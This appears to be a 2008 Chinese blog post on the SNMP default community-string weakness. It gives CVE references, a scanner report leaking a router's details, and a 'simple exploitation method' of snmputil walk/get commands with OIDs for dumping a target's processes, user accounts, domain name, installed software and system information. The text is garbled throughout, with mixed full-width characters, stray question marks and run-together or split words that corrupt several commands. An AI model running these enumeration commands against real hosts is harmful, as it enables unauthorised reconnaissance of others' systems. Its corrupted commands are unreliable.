snmp简单网络管理协议漏洞分析

ｓnmp简单网络管理协议漏洞分析

字体:| 发表于: 20０8－４-１001:23 作者: mｅnyuchun来源: IXPＵB技术博客

简单网络管理协议(SNMＰ）是一个?可以远程管理计算机和网络设备的协议.

有两种典型的远程监控模式.

他们可以粗略地分为"读"和"写"(或者是ＰUＢLIC和PRＩVATＥ).?如果攻击者能猜出一个P ＵBLIC团体串值，?那么他就可以从远程设备读取SNMＰ数据.?这个信息可能包括?系统时间,IP地址,接口,运行着的进程，etｃ等．?如果攻击者猜出一个PRＩVATＥ团体串值

(写入或＂完全控制"，

他就有更改远程机器上信息的能力.?这会是一个极大的安全漏洞,

能让攻击者成功地破坏网络,运行的进程,ecｔ.?其实，"完全控制"会给远程攻击者提供在主机上的完全管理权限.???更多信息请参见:

__＿____＿__＿＿＿______＿_＿______＿_＿_____＿__＿___＿__＿_________＿

_____＿_＿__

?

SNＭＰＡgｅnｔrｅsｐondedａs eｘpｅcted ｗｉtｈcoｍmunity ｎamｅ：ｐub ｌic?CＶE_ＩD ：CAＮ-199９－０517，CAN-199９－0１86，CAN－1999－02５4, CAN-１999-0５1６

BUＧＴRAQ_ID: 1１237, 1０576，177，2112，6825, 70８1, 72１２,７３17, 9６81, ９86?NESSUS_ＩＤ：10２６4

Otｈer reｆｅreｎces ：ＩAVA:２001-B－0001??

SNMP服务在UDP 16１/1６2端口监听?用法:ｓnmputilｗａlｋIP pｕbｌic[OID]?［-----－----ＯIＤ--－-------－-－------－-－－含义－------]

.１.3．6.1.2.1.25．4.2.１.2 获取系统进程

.１.3.6.1.4．1.77.１.２.２5.1.１获取用户列表

.1.3．６.1.４.１.77.1.４.1.0 获取域名?．１.３.6.1.2.1．25.６.3.１．2 获取安装的软件?.１.3．6.1.2.1．1 获取系统信息

?－----－----－--－---－－-－－-----－--－－---－---------－－--－------－-------－－--?

扫描到的一个报告:

. 端口"snmp (161/udp)"发现安全漏洞：

?Ｓnmｐ口令:

"pｕｂｌiｃ"?

?．端口＂snmp (161／ｕdｐ）"发现安全提示:

?? sysDesｃr.0 = Dｒayｔｅk V3300 Aｄｖａｎced Rｏuteｒ

sｙsUpTime.0 ＝3 Ｄａys, １Ｈｏurs, 53Minutes, 10Ｓｅconds?ｓy

ｓContact.0 =admin＠rｏuter

ｓｙsNａme．0 =V３30０c?? sｙsＬocaｔion.0 = Hsin Chu

sysSｅｒｖices.0 ＝0?

目的：得到远程目标的系统敏感信息??简单利用方法

?这里的publiｃ使用来查询对方信息时所用到的密码

具体的做法：要用到一个叫snｍputil的东西,这个东西在win２000的resource kｉｔ中有，通过它我们可以通过ｓnmp服务来查看对方的一些信息

格式：snmpｕtｉl get(ｏｒwalkｏr ｇｅtnexｔ)pubｌｉc oiｄ

get和括号里的时获取对方机器信息的一种方法，public就是查寻的时候要用的密码。oｉd 是被查询设备的ＩD号码?

例如：sｎmputil ｗalk １11.1１1.111.1１1 publｉｃ．1.3．6.１.2.1.25．4.2.1．2??ｓnmputil walk ip ｐuｂlic .１.3.6．1.2.１.25.４.2.1．２(列出系统进程)

ｓnｍpuｔｉl ｗalk ip ｐubliｃ．１.3．6．１.4.１.７7.1.2.25.1.1(列出系统用户列表)

ｓｎmputil get iｐpublic .1.３.6．１.４．1．77．1.4.１.0(列出域名)?snｍputil walk ip pub ｌｉc .１．３.6．1．2．1．２5.6.３.１.2（列出安装软件)

snmputｉｌｌｗａlｋｉp puｂｌic .1.３.6.1.２．1(列出系统信息)

?

?